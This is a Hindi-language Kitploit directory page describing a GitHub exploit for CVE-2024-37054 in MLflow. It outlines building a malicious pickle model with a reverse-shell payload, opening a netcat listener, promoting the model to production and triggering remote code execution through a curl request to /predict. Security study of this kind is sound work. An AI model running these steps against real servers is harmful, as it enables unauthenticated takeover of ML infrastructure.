Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-37054-MLflow-reverse-shell — CVE-2024-37054 के लिए एक्सप्लॉइट: एक दुर्भावनापूर्ण पिकल मॉडल उत्पन्न करता है, इसे MLflow पर अपलोड करता है, और /predict एंडपॉइंट के माध्यम से रिमोट कोड निष्पादन ट्रिगर करता है। | Kitploit
उपकरण/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

CVE-2024-37054 के लिए एक्सप्लॉइट: एक दुर्भावनापूर्ण पिकल मॉडल उत्पन्न करता है, इसे MLflow पर अपलोड करता है, और /predict एंडपॉइंट के माध्यम से रिमोट कोड निष्पादन ट्रिगर करता है।

रिपॉजिटरी देखें
166 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

उपकरण और फ़ाइलें


फ़ाइलउद्देश्य
generate_model.pyरिवर्स शेल पेलोड के साथ दुर्भावनापूर्ण model.pkl उत्पन्न करता है
upload_model.pyपिकल को MLflow पर अपलोड करता है और इसे प्रोडक्शन में प्रमोट करता है
sample.csv/predict एंडपॉइंट को ट्रिगर करने के लिए उपयोग की जाने वाली CSV फ़ाइल

उपयोग

1. दुर्भावनापूर्ण पिकल उत्पन्न करें

generate_model.py को संपादित करें और अपना tun0 IP सेट करें:

python3 generate_model.py

2. एक लिसनर प्रारंभ करें

nc -lvnp 4444

3. दुर्भावनापूर्ण मॉडल अपलोड करें

upload_model.py को संपादित करें:

  • MLFLOW को http://127.0.0.1:5000 पर सेट करें
  • MODEL_NAME को मुख्य डोमेन पर पाए गए सक्रिय मॉडल नाम पर सेट करें
python3 upload_model.py

4. निष्पादन ट्रिगर करें

क्लाइंट ऐप से एक नया सत्र कुकी प्राप्त करें, फिर:

curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

आपके लिसनर पर शेल पकड़ा जाता है।


मुख्य कमज़ोरी

MLflow Model Registry के माध्यम से Pickle Deserialization

MLflow पंजीकृत मॉडलों को Python के pickle.load() का उपयोग करके लोड करता है। एक क्राफ्टेड पिकल को मॉडल आर्टिफैक्ट के रूप में अपलोड करके और इसे प्रोडक्शन में प्रमोट करके, /predict के लिए कोई भी बाद का कॉल पेलोड को सर्वर-साइड डिसीरियलाइज़ करता है, जिससे एप्लिकेशन उपयोगकर्ता के रूप में अप्रमाणित RCE प्राप्त होता है।

संदर्भ

  • MLflow REST API दस्तावेज़
  • Python Pickle Deserialization
टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    589
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    361
  • 4

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    339
  • 5

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    322

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →